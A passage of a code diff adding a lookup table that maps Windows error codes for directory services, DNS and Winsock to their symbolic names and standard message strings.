+        0x00002188: ("ERROR_NOT_SUPPORTED_ON_STANDARD_SERVER", "The requested action is not supported on standard server."),
+        0x00002189: ("ERROR_DS_CANT_ACCESS_REMOTE_PART_OF_AD", "Could not access a partition of the directory service located on a remote server. Make sure at least one server is running for the partition in question."),
+        0x0000218a: ("ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE_V2", "The directory cannot validate the proposed naming context (or partition) name because it does not hold a replica nor can it contact a replica of the naming context above the proposed naming context. Please ensure that the parent naming context is properly registered in DNS, and at least one replica of this naming context is reachable by the Domain Naming master."),
+        0x0000218b: ("ERROR_DS_THREAD_LIMIT_EXCEEDED", "The thread limit for this request was exceeded."),
+        0x0000218c: ("ERROR_DS_NOT_CLOSEST", "The Global catalog server is not in the closest site."),
+        0x0000218d: ("ERROR_DS_CANT_DERIVE_SPN_WITHOUT_SERVER_REF", "The DS cannot derive a service principal name (SPN) with which to mutually authenticate the target server because the corresponding server object in the local DS database has no serverReference attribute."),
+        0x0000218e: ("ERROR_DS_SINGLE_USER_MODE_FAILED", "The Directory Service failed to enter single user mode."),
+        0x0000218f: ("ERROR_DS_NTDSCRIPT_SYNTAX_ERROR", "The Directory Service cannot parse the script because of a syntax error."),
+        0x00002190: ("ERROR_DS_NTDSCRIPT_PROCESS_ERROR", "The Directory Service cannot process the script because of an error."),
+        0x00002191: ("ERROR_DS_DIFFERENT_REPL_EPOCHS", "The directory service cannot perform the requested operation because the servers involved are of different replication epochs (which is usually related to a domain rename that is in progress)."),
+        0x00002192: ("ERROR_DS_DRS_EXTENSIONS_CHANGED", "The directory service binding must be renegotiated due to a change in the server extensions information."),
+        0x00002193: ("ERROR_DS_REPLICA_SET_CHANGE_NOT_ALLOWED_ON_DISABLED_CR", "Operation not allowed on a disabled cross ref."),
+        0x00002194: ("ERROR_DS_NO_MSDS_INTID", "Schema update failed: No values for msDS-IntId are available."),
+        0x00002195: ("ERROR_DS_DUP_MSDS_INTID", "Schema update failed: Duplicate msDS-INtId. Retry the operation."),
+        0x00002196: ("ERROR_DS_EXISTS_IN_RDNATTID", "Schema deletion failed: attribute is used in rDNAttID."),
+        0x00002197: ("ERROR_DS_AUTHORIZATION_FAILED", "The directory service failed to authorize the request."),
+        0x00002198: ("ERROR_DS_INVALID_SCRIPT", "The Directory Service cannot process the script because it is invalid."),
+        0x00002199: ("ERROR_DS_REMOTE_CROSSREF_OP_FAILED", "The remote create cross reference operation failed on the Domain Naming Master FSMO. The operation's error is in the extended data."),
+        0x0000219a: ("ERROR_DS_CROSS_REF_BUSY", "A cross reference is in use locally with the same name."),
+        0x0000219b: ("ERROR_DS_CANT_DERIVE_SPN_FOR_DELETED_DOMAIN", "The DS cannot derive a service principal name (SPN) with which to mutually authenticate the target server because the server's domain has been deleted from the forest."),
+        0x0000219c: ("ERROR_DS_CANT_DEMOTE_WITH_WRITEABLE_NC", "Writeable NCs prevent this DC from demoting."),
+        0x0000219d: ("ERROR_DS_DUPLICATE_ID_FOUND", "The requested object has a non-unique identifier and cannot be retrieved."),
+        0x0000219e: ("ERROR_DS_INSUFFICIENT_ATTR_TO_CREATE_OBJECT", "Insufficient attributes were given to create an object. This object may not exist because it may have been deleted and already garbage collected."),
+        0x0000219f: ("ERROR_DS_GROUP_CONVERSION_ERROR", "The group cannot be converted due to attribute restrictions on the requested group type."),
+        0x000021a0: ("ERROR_DS_CANT_MOVE_APP_BASIC_GROUP", "Cross-domain move of non-empty basic application groups is not allowed."),
+        0x000021a1: ("ERROR_DS_CANT_MOVE_APP_QUERY_GROUP", "Cross-domain move of non-empty query based application groups is not allowed."),
+        0x000021a2: ("ERROR_DS_ROLE_NOT_VERIFIED", "The FSMO role ownership could not be verified because its directory partition has not replicated successfully with at least one replication partner."),
+        0x000021a3: ("ERROR_DS_WKO_CONTAINER_CANNOT_BE_SPECIAL", "The target container for a redirection of a well known object container cannot already be a special container."),
+        0x000021a4: ("ERROR_DS_DOMAIN_RENAME_IN_PROGRESS", "The Directory Service cannot perform the requested operation because a domain rename operation is in progress."),
+        0x000021a5: ("ERROR_DS_EXISTING_AD_CHILD_NC", "The directory service detected a child partition below the requested partition name. The partition hierarchy must be created in a top down method."),
+        0x000021a6: ("ERROR_DS_REPL_LIFETIME_EXCEEDED", "The directory service cannot replicate with this server because the time since the last replication with this server has exceeded the tombstone lifetime."),
+        0x000021a7: ("ERROR_DS_DISALLOWED_IN_SYSTEM_CONTAINER", "The requested operation is not allowed on an object under the system container."),
+        0x000021a8: ("ERROR_DS_LDAP_SEND_QUEUE_FULL", "The LDAP servers network send queue has filled up because the client is not processing the results of its requests fast enough. No more requests will be processed until the client catches up. If the client does not catch up then it will be disconnected."),
+        0x000021a9: ("ERROR_DS_DRA_OUT_SCHEDULE_WINDOW", "The scheduled replication did not take place because the system was too busy to execute the request within the schedule window. The replication queue is overloaded. Consider reducing the number of partners or decreasing the scheduled replication frequency."),
+        0x000021aa: ("ERROR_DS_POLICY_NOT_KNOWN", "At this time, it cannot be determined if the branch replication policy is available on the hub domain controller. Please retry at a later time to account for replication latencies."),
+        0x000021ab: ("ERROR_NO_SITE_SETTINGS_OBJECT", "The site settings object for the specified site does not exist."),
+        0x000021ac: ("ERROR_NO_SECRETS", "The local account store does not contain secret material for the specified account."),
+        0x000021ad: ("ERROR_NO_WRITABLE_DC_FOUND", "Could not find a writable domain controller in the domain."),
+        0x000021ae: ("ERROR_DS_NO_SERVER_OBJECT", "The server object for the domain controller does not exist."),
+        0x000021af: ("ERROR_DS_NO_NTDSA_OBJECT", "The NTDS Settings object for the domain controller does not exist."),
+        0x000021b0: ("ERROR_DS_NON_ASQ_SEARCH", "The requested search operation is not supported for ASQ searches."),
+        0x000021b1: ("ERROR_DS_AUDIT_FAILURE", "A required audit event could not be generated for the operation."),
+        0x000021b2: ("ERROR_DS_INVALID_SEARCH_FLAG_SUBTREE", "The search flags for the attribute are invalid. The subtree index bit is valid only on single valued attributes."),
+        0x000021b3: ("ERROR_DS_INVALID_SEARCH_FLAG_TUPLE", "The search flags for the attribute are invalid. The tuple index bit is valid only on attributes of Unicode strings."),
+        0x000021b4: ("ERROR_DS_HIERARCHY_TABLE_TOO_DEEP", "The address books are nested too deeply. Failed to build the hierarchy table."),
+        0x000021b5: ("ERROR_DS_DRA_CORRUPT_UTD_VECTOR", "The specified up-to-date-ness vector is corrupt."),
+        0x000021b6: ("ERROR_DS_DRA_SECRETS_DENIED", "The request to replicate secrets is denied."),
+        0x000021b7: ("ERROR_DS_RESERVED_MAPI_ID", "Schema update failed: The MAPI identifier is reserved."),
+        0x000021b8: ("ERROR_DS_MAPI_ID_NOT_AVAILABLE", "Schema update failed: There are no MAPI identifiers available."),
+        0x000021b9: ("ERROR_DS_DRA_MISSING_KRBTGT_SECRET", "The replication operation failed because the required attributes of the local krbtgt object are missing."),
+        0x000021ba: ("ERROR_DS_DOMAIN_NAME_EXISTS_IN_FOREST", "The domain name of the trusted domain already exists in the forest."),
+        0x000021bb: ("ERROR_DS_FLAT_NAME_EXISTS_IN_FOREST", "The flat name of the trusted domain already exists in the forest."),
+        0x000021bc: ("ERROR_INVALID_USER_PRINCIPAL_NAME", "The User Principal Name (UPN) is invalid."),
+        0x000021bd: ("ERROR_DS_OID_MAPPED_GROUP_CANT_HAVE_MEMBERS", "OID mapped groups cannot have members."),
+        0x000021be: ("ERROR_DS_OID_NOT_FOUND", "The specified OID cannot be found."),
+        0x000021bf: ("ERROR_DS_DRA_RECYCLED_TARGET", "The replication operation failed because the target object referred by a link value is recycled."),
+        0x000021c0: ("ERROR_DS_DISALLOWED_NC_REDIRECT", "The redirect operation failed because the target object is in a NC different from the domain NC of the current domain controller."),
+        0x000021c1: ("ERROR_DS_HIGH_ADLDS_FFL", "The functional level of the AD LDS configuration set cannot be lowered to the requested value."),
+        0x000021c2: ("ERROR_DS_HIGH_DSA_VERSION", "The functional level of the domain (or forest) cannot be lowered to the requested value."),
+        0x000021c3: ("ERROR_DS_LOW_ADLDS_FFL", "The functional level of the AD LDS configuration set cannot be raised to the requested value, because there exist one or more ADLDS instances that are at a lower incompatible functional level."),
+        0x000021c4: ("ERROR_DOMAIN_SID_SAME_AS_LOCAL_WORKSTATION", "The domain join cannot be completed because the SID of the domain you attempted to join was identical to the SID of this machine. This is a symptom of an improperly cloned operating system install.  You should run sysprep on this machine in order to generate a new machine SID. Please see https://go.microsoft.com/fwlink/?LinkId=168895 for more information."),
+        0x000021c5: ("ERROR_DS_UNDELETE_SAM_VALIDATION_FAILED", "The undelete operation failed because the Sam Account Name or Additional Sam Account Name of the object being undeleted conflicts with an existing live object."),
+        0x000021c6: ("ERROR_INCORRECT_ACCOUNT_TYPE", "The system is not authoritative for the specified account and therefore cannot complete the operation. Please retry the operation using the provider associated with this account. If this is an online provider please use the provider's online site."),
+        0x00002329: ("DNS_ERROR_RCODE_FORMAT_ERROR", "DNS server unable to interpret format."),
+        0x0000232a: ("DNS_ERROR_RCODE_SERVER_FAILURE", "DNS server failure."),
+        0x0000232b: ("DNS_ERROR_RCODE_NAME_ERROR", "DNS name does not exist."),
+        0x0000232c: ("DNS_ERROR_RCODE_NOT_IMPLEMENTED", "DNS request not supported by name server."),
+        0x0000232d: ("DNS_ERROR_RCODE_REFUSED", "DNS operation refused."),
+        0x0000232e: ("DNS_ERROR_RCODE_YXDOMAIN", "DNS name that ought not exist, does exist."),
+        0x0000232f: ("DNS_ERROR_RCODE_YXRRSET", "DNS RR set that ought not exist, does exist."),
+        0x00002330: ("DNS_ERROR_RCODE_NXRRSET", "DNS RR set that ought to exist, does not exist."),
+        0x00002331: ("DNS_ERROR_RCODE_NOTAUTH", "DNS server not authoritative for zone."),
+        0x00002332: ("DNS_ERROR_RCODE_NOTZONE", "DNS name in update or prereq is not in zone."),
+        0x00002338: ("DNS_ERROR_RCODE_BADSIG", "DNS signature failed to verify."),
+        0x00002339: ("DNS_ERROR_RCODE_BADKEY", "DNS bad key."),
+        0x0000233a: ("DNS_ERROR_RCODE_BADTIME", "DNS signature validity expired."),
+        0x0000238d: ("DNS_ERROR_KEYMASTER_REQUIRED", "Only the DNS server acting as the key master for the zone may perform this operation."),
+        0x0000238e: ("DNS_ERROR_NOT_ALLOWED_ON_SIGNED_ZONE", "This operation is not allowed on a zone that is signed or has signing keys."),
+        0x0000238f: ("DNS_ERROR_NSEC3_INCOMPATIBLE_WITH_RSA_SHA1", "NSEC3 is not compatible with the RSA-SHA-1 algorithm. Choose a different algorithm or use NSEC."),
+        0x00002390: ("DNS_ERROR_NOT_ENOUGH_SIGNING_KEY_DESCRIPTORS", "The zone does not have enough signing keys. There must be at least one key signing key (KSK) and at least one zone signing key (ZSK)."),
+        0x00002391: ("DNS_ERROR_UNSUPPORTED_ALGORITHM", "The specified algorithm is not supported."),
+        0x00002392: ("DNS_ERROR_INVALID_KEY_SIZE", "The specified key size is not supported."),
+        0x00002393: ("DNS_ERROR_SIGNING_KEY_NOT_ACCESSIBLE", "One or more of the signing keys for a zone are not accessible to the DNS server. Zone signing will not be operational until this error is resolved."),
+        0x00002394: ("DNS_ERROR_KSP_DOES_NOT_SUPPORT_PROTECTION", "The specified key storage provider does not support DPAPI++ data protection. Zone signing will not be operational until this error is resolved."),
+        0x00002395: ("DNS_ERROR_UNEXPECTED_DATA_PROTECTION_ERROR", "An unexpected DPAPI++ error was encountered. Zone signing will not be operational until this error is resolved."),
+        0x00002396: ("DNS_ERROR_UNEXPECTED_CNG_ERROR", "An unexpected crypto error was encountered. Zone signing may not be operational until this error is resolved."),
+        0x00002397: ("DNS_ERROR_UNKNOWN_SIGNING_PARAMETER_VERSION", "The DNS server encountered a signing key with an unknown version. Zone signing will not be operational until this error is resolved."),
+        0x00002398: ("DNS_ERROR_KSP_NOT_ACCESSIBLE", "The specified key service provider cannot be opened by the DNS server."),
+        0x00002399: ("DNS_ERROR_TOO_MANY_SKDS", "The DNS server cannot accept any more signing keys with the specified algorithm and KSK flag value for this zone."),
+        0x0000239a: ("DNS_ERROR_INVALID_ROLLOVER_PERIOD", "The specified rollover period is invalid."),
+        0x0000239b: ("DNS_ERROR_INVALID_INITIAL_ROLLOVER_OFFSET", "The specified initial rollover offset is invalid."),
+        0x0000239c: ("DNS_ERROR_ROLLOVER_IN_PROGRESS", "The specified signing key is already in process of rolling over keys."),
+        0x0000239d: ("DNS_ERROR_STANDBY_KEY_NOT_PRESENT", "The specified signing key does not have a standby key to revoke."),
+        0x0000239e: ("DNS_ERROR_NOT_ALLOWED_ON_ZSK", "This operation is not allowed on a zone signing key (ZSK)."),
+        0x0000239f: ("DNS_ERROR_NOT_ALLOWED_ON_ACTIVE_SKD", "This operation is not allowed on an active signing key."),
+        0x000023a0: ("DNS_ERROR_ROLLOVER_ALREADY_QUEUED", "The specified signing key is already queued for rollover."),
+        0x000023a1: ("DNS_ERROR_NOT_ALLOWED_ON_UNSIGNED_ZONE", "This operation is not allowed on an unsigned zone."),
+        0x000023a2: ("DNS_ERROR_BAD_KEYMASTER", "This operation could not be completed because the DNS server listed as the current key master for this zone is down or misconfigured. Resolve the problem on the current key master for this zone or use another DNS server to seize the key master role."),
+        0x000023a3: ("DNS_ERROR_INVALID_SIGNATURE_VALIDITY_PERIOD", "The specified signature validity period is invalid."),
+        0x000023a4: ("DNS_ERROR_INVALID_NSEC3_ITERATION_COUNT", "The specified NSEC3 iteration count is higher than allowed by the minimum key length used in the zone."),
+        0x000023a5: ("DNS_ERROR_DNSSEC_IS_DISABLED", "This operation could not be completed because the DNS server has been configured with DNSSEC features disabled. Enable DNSSEC on the DNS server."),
+        0x000023a6: ("DNS_ERROR_INVALID_XML", "This operation could not be completed because the XML stream received is empty or syntactically invalid."),
+        0x000023a7: ("DNS_ERROR_NO_VALID_TRUST_ANCHORS", "This operation completed, but no trust anchors were added because all of the trust anchors received were either invalid, unsupported, expired, or would not become valid in less than 30 days."),
+        0x000023a8: ("DNS_ERROR_ROLLOVER_NOT_POKEABLE", "The specified signing key is not waiting for parental DS update."),
+        0x000023a9: ("DNS_ERROR_NSEC3_NAME_COLLISION", "Hash collision detected during NSEC3 signing. Specify a different user-provided salt, or use a randomly generated salt, and attempt to sign the zone again."),
+        0x000023aa: ("DNS_ERROR_NSEC_INCOMPATIBLE_WITH_NSEC3_RSA_SHA1", "NSEC is not compatible with the NSEC3-RSA-SHA-1 algorithm. Choose a different algorithm or use NSEC3."),
+        0x0000251d: ("DNS_INFO_NO_RECORDS", "No records found for given DNS query."),
+        0x0000251e: ("DNS_ERROR_BAD_PACKET", "Bad DNS packet."),
+        0x0000251f: ("DNS_ERROR_NO_PACKET", "No DNS packet."),
+        0x00002520: ("DNS_ERROR_RCODE", "DNS error, check rcode."),
+        0x00002521: ("DNS_ERROR_UNSECURE_PACKET", "Unsecured DNS packet."),
+        0x00002522: ("DNS_REQUEST_PENDING", "DNS query request is pending."),
+        0x0000254f: ("DNS_ERROR_INVALID_TYPE", "Invalid DNS type."),
+        0x00002550: ("DNS_ERROR_INVALID_IP_ADDRESS", "Invalid IP address."),
+        0x00002551: ("DNS_ERROR_INVALID_PROPERTY", "Invalid property."),
+        0x00002552: ("DNS_ERROR_TRY_AGAIN_LATER", "Try DNS operation again later."),
+        0x00002553: ("DNS_ERROR_NOT_UNIQUE", "Record for given name and type is not unique."),
+        0x00002554: ("DNS_ERROR_NON_RFC_NAME", "DNS name does not comply with RFC specifications."),
+        0x00002555: ("DNS_STATUS_FQDN", "DNS name is a fully-qualified DNS name."),
+        0x00002556: ("DNS_STATUS_DOTTED_NAME", "DNS name is dotted (multi-label)."),
+        0x00002557: ("DNS_STATUS_SINGLE_PART_NAME", "DNS name is a single-part name."),
+        0x00002558: ("DNS_ERROR_INVALID_NAME_CHAR", "DNS name contains an invalid character."),
+        0x00002559: ("DNS_ERROR_NUMERIC_NAME", "DNS name is entirely numeric."),
+        0x0000255a: ("DNS_ERROR_NOT_ALLOWED_ON_ROOT_SERVER", "The operation requested is not permitted on a DNS root server."),
+        0x0000255b: ("DNS_ERROR_NOT_ALLOWED_UNDER_DELEGATION", "The record could not be created because this part of the DNS namespace has been delegated to another server."),
+        0x0000255c: ("DNS_ERROR_CANNOT_FIND_ROOT_HINTS", "The DNS server could not find a set of root hints."),
+        0x0000255d: ("DNS_ERROR_INCONSISTENT_ROOT_HINTS", "The DNS server found root hints but they were not consistent across all adapters."),
+        0x0000255e: ("DNS_ERROR_DWORD_VALUE_TOO_SMALL", "The specified value is too small for this parameter."),
+        0x0000255f: ("DNS_ERROR_DWORD_VALUE_TOO_LARGE", "The specified value is too large for this parameter."),
+        0x00002560: ("DNS_ERROR_BACKGROUND_LOADING", "This operation is not allowed while the DNS server is loading zones in the background. Please try again later."),
+        0x00002561: ("DNS_ERROR_NOT_ALLOWED_ON_RODC", "The operation requested is not permitted on against a DNS server running on a read-only DC."),
+        0x00002562: ("DNS_ERROR_NOT_ALLOWED_UNDER_DNAME", "No data is allowed to exist underneath a DNAME record."),
+        0x00002563: ("DNS_ERROR_DELEGATION_REQUIRED", "This operation requires credentials delegation."),
+        0x00002564: ("DNS_ERROR_INVALID_POLICY_TABLE", "Name resolution policy table has been corrupted. DNS resolution will fail until it is fixed. Contact your network administrator."),
+        0x00002581: ("DNS_ERROR_ZONE_DOES_NOT_EXIST", "DNS zone does not exist."),
+        0x00002582: ("DNS_ERROR_NO_ZONE_INFO", "DNS zone information not available."),
+        0x00002583: ("DNS_ERROR_INVALID_ZONE_OPERATION", "Invalid operation for DNS zone."),
+        0x00002584: ("DNS_ERROR_ZONE_CONFIGURATION_ERROR", "Invalid DNS zone configuration."),
+        0x00002585: ("DNS_ERROR_ZONE_HAS_NO_SOA_RECORD", "DNS zone has no start of authority (SOA) record."),
+        0x00002586: ("DNS_ERROR_ZONE_HAS_NO_NS_RECORDS", "DNS zone has no Name Server (NS) record."),
+        0x00002587: ("DNS_ERROR_ZONE_LOCKED", "DNS zone is locked."),
+        0x00002588: ("DNS_ERROR_ZONE_CREATION_FAILED", "DNS zone creation failed."),
+        0x00002589: ("DNS_ERROR_ZONE_ALREADY_EXISTS", "DNS zone already exists."),
+        0x0000258a: ("DNS_ERROR_AUTOZONE_ALREADY_EXISTS", "DNS automatic zone already exists."),
+        0x0000258b: ("DNS_ERROR_INVALID_ZONE_TYPE", "Invalid DNS zone type."),
+        0x0000258c: ("DNS_ERROR_SECONDARY_REQUIRES_MASTER_IP", "Secondary DNS zone requires master IP address."),
+        0x0000258d: ("DNS_ERROR_ZONE_NOT_SECONDARY", "DNS zone not secondary."),
+        0x0000258e: ("DNS_ERROR_NEED_SECONDARY_ADDRESSES", "Need secondary IP address."),
+        0x0000258f: ("DNS_ERROR_WINS_INIT_FAILED", "WINS initialization failed."),
+        0x00002590: ("DNS_ERROR_NEED_WINS_SERVERS", "Need WINS servers."),
+        0x00002591: ("DNS_ERROR_NBSTAT_INIT_FAILED", "NBTSTAT initialization call failed."),
+        0x00002592: ("DNS_ERROR_SOA_DELETE_INVALID", "Invalid delete of start of authority (SOA)"),
+        0x00002593: ("DNS_ERROR_FORWARDER_ALREADY_EXISTS", "A conditional forwarding zone already exists for that name."),
+        0x00002594: ("DNS_ERROR_ZONE_REQUIRES_MASTER_IP", "This zone must be configured with one or more master DNS server IP addresses."),
+        0x00002595: ("DNS_ERROR_ZONE_IS_SHUTDOWN", "The operation cannot be performed because this zone is shut down."),
+        0x00002596: ("DNS_ERROR_ZONE_LOCKED_FOR_SIGNING", "This operation cannot be performed because the zone is currently being signed. Please try again later."),
+        0x000025b3: ("DNS_ERROR_PRIMARY_REQUIRES_DATAFILE", "Primary DNS zone requires datafile."),
+        0x000025b4: ("DNS_ERROR_INVALID_DATAFILE_NAME", "Invalid datafile name for DNS zone."),
+        0x000025b5: ("DNS_ERROR_DATAFILE_OPEN_FAILURE", "Failed to open datafile for DNS zone."),
+        0x000025b6: ("DNS_ERROR_FILE_WRITEBACK_FAILED", "Failed to write datafile for DNS zone."),
+        0x000025b7: ("DNS_ERROR_DATAFILE_PARSING", "Failure while reading datafile for DNS zone."),
+        0x000025e5: ("DNS_ERROR_RECORD_DOES_NOT_EXIST", "DNS record does not exist."),
+        0x000025e6: ("DNS_ERROR_RECORD_FORMAT", "DNS record format error."),
+        0x000025e7: ("DNS_ERROR_NODE_CREATION_FAILED", "Node creation failure in DNS."),
+        0x000025e8: ("DNS_ERROR_UNKNOWN_RECORD_TYPE", "Unknown DNS record type."),
+        0x000025e9: ("DNS_ERROR_RECORD_TIMED_OUT", "DNS record timed out."),
+        0x000025ea: ("DNS_ERROR_NAME_NOT_IN_ZONE", "Name not in DNS zone."),
+        0x000025eb: ("DNS_ERROR_CNAME_LOOP", "CNAME loop detected."),
+        0x000025ec: ("DNS_ERROR_NODE_IS_CNAME", "Node is a CNAME DNS record."),
+        0x000025ed: ("DNS_ERROR_CNAME_COLLISION", "A CNAME record already exists for given name."),
+        0x000025ee: ("DNS_ERROR_RECORD_ONLY_AT_ZONE_ROOT", "Record only at DNS zone root."),
+        0x000025ef: ("DNS_ERROR_RECORD_ALREADY_EXISTS", "DNS record already exists."),
+        0x000025f0: ("DNS_ERROR_SECONDARY_DATA", "Secondary DNS zone data error."),
+        0x000025f1: ("DNS_ERROR_NO_CREATE_CACHE_DATA", "Could not create DNS cache data."),
+        0x000025f2: ("DNS_ERROR_NAME_DOES_NOT_EXIST", "DNS name does not exist."),
+        0x000025f3: ("DNS_WARNING_PTR_CREATE_FAILED", "Could not create pointer (PTR) record."),
+        0x000025f4: ("DNS_WARNING_DOMAIN_UNDELETED", "DNS domain was undeleted."),
+        0x000025f5: ("DNS_ERROR_DS_UNAVAILABLE", "The directory service is unavailable."),
+        0x000025f6: ("DNS_ERROR_DS_ZONE_ALREADY_EXISTS", "DNS zone already exists in the directory service."),
+        0x000025f7: ("DNS_ERROR_NO_BOOTFILE_IF_DS_ZONE", "DNS server not creating or reading the boot file for the directory service integrated DNS zone."),
+        0x000025f8: ("DNS_ERROR_NODE_IS_DNAME", "Node is a DNAME DNS record."),
+        0x000025f9: ("DNS_ERROR_DNAME_COLLISION", "A DNAME record already exists for given name."),
+        0x000025fa: ("DNS_ERROR_ALIAS_LOOP", "An alias loop has been detected with either CNAME or DNAME records."),
+        0x00002617: ("DNS_INFO_AXFR_COMPLETE", "DNS AXFR (zone transfer) complete."),
+        0x00002618: ("DNS_ERROR_AXFR", "DNS zone transfer failed."),
+        0x00002619: ("DNS_INFO_ADDED_LOCAL_WINS", "Added local WINS server."),
+        0x00002649: ("DNS_STATUS_CONTINUE_NEEDED", "Secure update call needs to continue update request."),
+        0x0000267b: ("DNS_ERROR_NO_TCPIP", "TCP/IP network protocol not installed."),
+        0x0000267c: ("DNS_ERROR_NO_DNS_SERVERS", "No DNS servers configured for local system."),
+        0x000026ad: ("DNS_ERROR_DP_DOES_NOT_EXIST", "The specified directory partition does not exist."),
+        0x000026ae: ("DNS_ERROR_DP_ALREADY_EXISTS", "The specified directory partition already exists."),
+        0x000026af: ("DNS_ERROR_DP_NOT_ENLISTED", "This DNS server is not enlisted in the specified directory partition."),
+        0x000026b0: ("DNS_ERROR_DP_ALREADY_ENLISTED", "This DNS server is already enlisted in the specified directory partition."),
+        0x000026b1: ("DNS_ERROR_DP_NOT_AVAILABLE", "The directory partition is not available at this time. Please wait a few minutes and try again."),
+        0x000026b2: ("DNS_ERROR_DP_FSMO_ERROR", "The operation failed because the domain naming master FSMO role could not be reached. The domain controller holding the domain naming master FSMO role is down or unable to service the request or is not running Windows Server 2003 or later."),
+        0x00002714: ("WSAEINTR", "A blocking operation was interrupted by a call to WSACancelBlockingCall."),
+        0x00002719: ("WSAEBADF", "The file handle supplied is not valid."),
+        0x0000271d: ("WSAEACCES", "An attempt was made to access a socket in a way forbidden by its access permissions."),
+        0x0000271e: ("WSAEFAULT", "The system detected an invalid pointer address in attempting to use a pointer argument in a call."),
+        0x00002726: ("WSAEINVAL", "An invalid argument was supplied."),
+        0x00002728: ("WSAEMFILE", "Too many open sockets."),
+        0x00002733: ("WSAEWOULDBLOCK", "A non-blocking socket operation could not be completed immediately."),
+        0x00002734: ("WSAEINPROGRESS", "A blocking operation is currently executing."),
+        0x00002735: ("WSAEALREADY", "An operation was attempted on a non-blocking socket that already had an operation in progress."),
+        0x00002736: ("WSAENOTSOCK", "An operation was attempted on something that is not a socket."),
+        0x00002737: ("WSAEDESTADDRREQ", "A required address was omitted from an operation on a socket."),
+        0x00002738: ("WSAEMSGSIZE", "A message sent on a datagram socket was larger than the internal message buffer or some other network limit, or the buffer used to receive a datagram into was smaller than the datagram itself."),
+        0x00002739: ("WSAEPROTOTYPE", "A protocol was specified in the socket function call that does not support the semantics of the socket type requested."),
+        0x0000273a: ("WSAENOPROTOOPT", "An unknown, invalid, or unsupported option or level was specified in a getsockopt or setsockopt call."),
+        0x0000273b: ("WSAEPROTONOSUPPORT", "The requested protocol has not been configured into the system, or no implementation for it exists."),
+        0x0000273c: ("WSAESOCKTNOSUPPORT", "The support for the specified socket type does not exist in this address family."),
+        0x0000273d: ("WSAEOPNOTSUPP", "The attempted operation is not supported for the type of object referenced."),
+        0x0000273e: ("WSAEPFNOSUPPORT", "The protocol family has not been configured into the system or no implementation for it exists."),
+        0x0000273f: ("WSAEAFNOSUPPORT", "An address incompatible with the requested protocol was used."),
+        0x00002740: ("WSAEADDRINUSE", "Only one usage of each socket address (protocol/network address/port) is normally permitted."),
+        0x00002741: ("WSAEADDRNOTAVAIL", "The requested address is not valid in its context."),
+        0x00002742: ("WSAENETDOWN", "A socket operation encountered a dead network."),
+        0x00002743: ("WSAENETUNREACH", "A socket operation was attempted to an unreachable network."),
+        0x00002744: ("WSAENETRESET", "The connection has been broken due to keep-alive activity detecting a failure while the operation was in progress."),
+        0x00002745: ("WSAECONNABORTED", "An established connection was aborted by the software in your host machine."),
+        0x00002746: ("WSAECONNRESET", "An existing connection was forcibly closed by the remote host."),
+        0x00002747: ("WSAENOBUFS", "An operation on a socket could not be performed because the system lacked sufficient buffer space or because a queue was full."),
+        0x00002748: ("WSAEISCONN", "A connect request was made on an already connected socket."),
+        0x00002749: ("WSAENOTCONN", "A request to send or receive data was disallowed because the socket is not connected and (when sending on a datagram socket using a sendto call) no address was supplied."),
+        0x0000274a: ("WSAESHUTDOWN", "A request to send or receive data was disallowed because the socket had already been shut down in that direction with a previous shutdown call."),
+        0x0000274b: ("WSAETOOMANYREFS", "Too many references to some kernel object."),
+        0x0000274c: ("WSAETIMEDOUT", "A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond."),
+        0x0000274d: ("WSAECONNREFUSED", "No connection could be made because the target machine actively refused it."),
+        0x0000274e: ("WSAELOOP", "Cannot translate name."),
+        0x0000274f: ("WSAENAMETOOLONG", "Name component or name was too long."),
+        0x00002750: ("WSAEHOSTDOWN", "A socket operation failed because the destination host was down."),
+        0x00002751: ("WSAEHOSTUNREACH", "A socket operation was attempted to an unreachable host."),
+        0x00002752: ("WSAENOTEMPTY", "Cannot remove a directory that is not empty."),
+        0x00002753: ("WSAEPROCLIM", "A Windows Sockets implementation may have a limit on the number of applications that may use it simultaneously."),
+        0x00002754: ("WSAEUSERS", "Ran out of quota."),
+        0x00002755: ("WSAEDQUOT", "Ran out of disk quota."),
+        0x00002756: ("WSAESTALE", "File handle reference is no longer available."),
+        0x00002757: ("WSAEREMOTE", "Item is not available locally."),
+        0x0000276b: ("WSASYSNOTREADY", "WSAStartup cannot function at this time because the underlying system it uses to provide network services is currently unavailable."),
+        0x0000276c: ("WSAVERNOTSUPPORTED", "The Windows Sockets version requested is not supported."),
+        0x0000276d: ("WSANOTINITIALISED", "Either the application has not called WSAStartup, or WSAStartup failed."),
+        0x00002775: ("WSAEDISCON", "Returned by WSARecv or WSARecvFrom to indicate the remote party has initiated a graceful shutdown sequence."),
+        0x00002776: ("WSAENOMORE", "No more results can be returned by WSALookupServiceNext."),
+        0x00002777: ("WSAECANCELLED", "A call to WSALookupServiceEnd was made while this call was still processing. The call has been canceled."),
+        0x00002778: ("WSAEINVALIDPROCTABLE", "The procedure call table is invalid."),
+        0x00002779: ("WSAEINVALIDPROVIDER", "The requested service provider is invalid."),
+        0x0000277a: ("WSAEPROVIDERFAILEDINIT", "The requested service provider could not be loaded or initialized."),
+        0x0000277b: ("WSASYSCALLFAILURE", "A system call has failed."),
+        0x0000277c: ("WSASERVICE_NOT_FOUND", "No such service is known. The service cannot be found in the specified name space."),
+        0x0000277d: ("WSATYPE_NOT_FOUND", "The specified class was not found."),
+        0x0000277e: ("WSA_E_NO_MORE", "No more results can be returned by WSALookupServiceNext."),
+        0x0000277f: ("WSA_E_CANCELLED", "A call to WSALookupServiceEnd was made while this call was still processing. The call has been canceled."),
+        0x00002780: ("WSAEREFUSED", "A database query failed because it was actively refused."),
+        0x00002af9: ("WSAHOST_NOT_FOUND", "No such host is known."),
+        0x00002afa: ("WSATRY_AGAIN", "This is usually a temporary error during hostname resolution and means that the local server did not receive a response from an authoritative server."),
+        0x00002afb: ("WSANO_RECOVERY", "A non-recoverable error occurred during a database lookup."),
+        0x00002afc: ("WSANO_DATA", "The requested name is valid, but no data of the requested type was found."),
+        0x00002afd: ("WSA_QOS_RECEIVERS", "At least one reserve has arrived."),
+        0x00002afe: ("WSA_QOS_SENDERS", "At least one path has arrived."),
+        0x00002aff: ("WSA_QOS_NO_SENDERS", "There are no senders."),
+        0x00002b00: ("WSA_QOS_NO_RECEIVERS", "There are no receivers."),
+        0x00002b01: ("WSA_QOS_REQUEST_CONFIRMED", "Reserve has been confirmed."),
+        0x00002b02: ("WSA_QOS_ADMISSION_FAILURE", "Error due to lack of resources."),
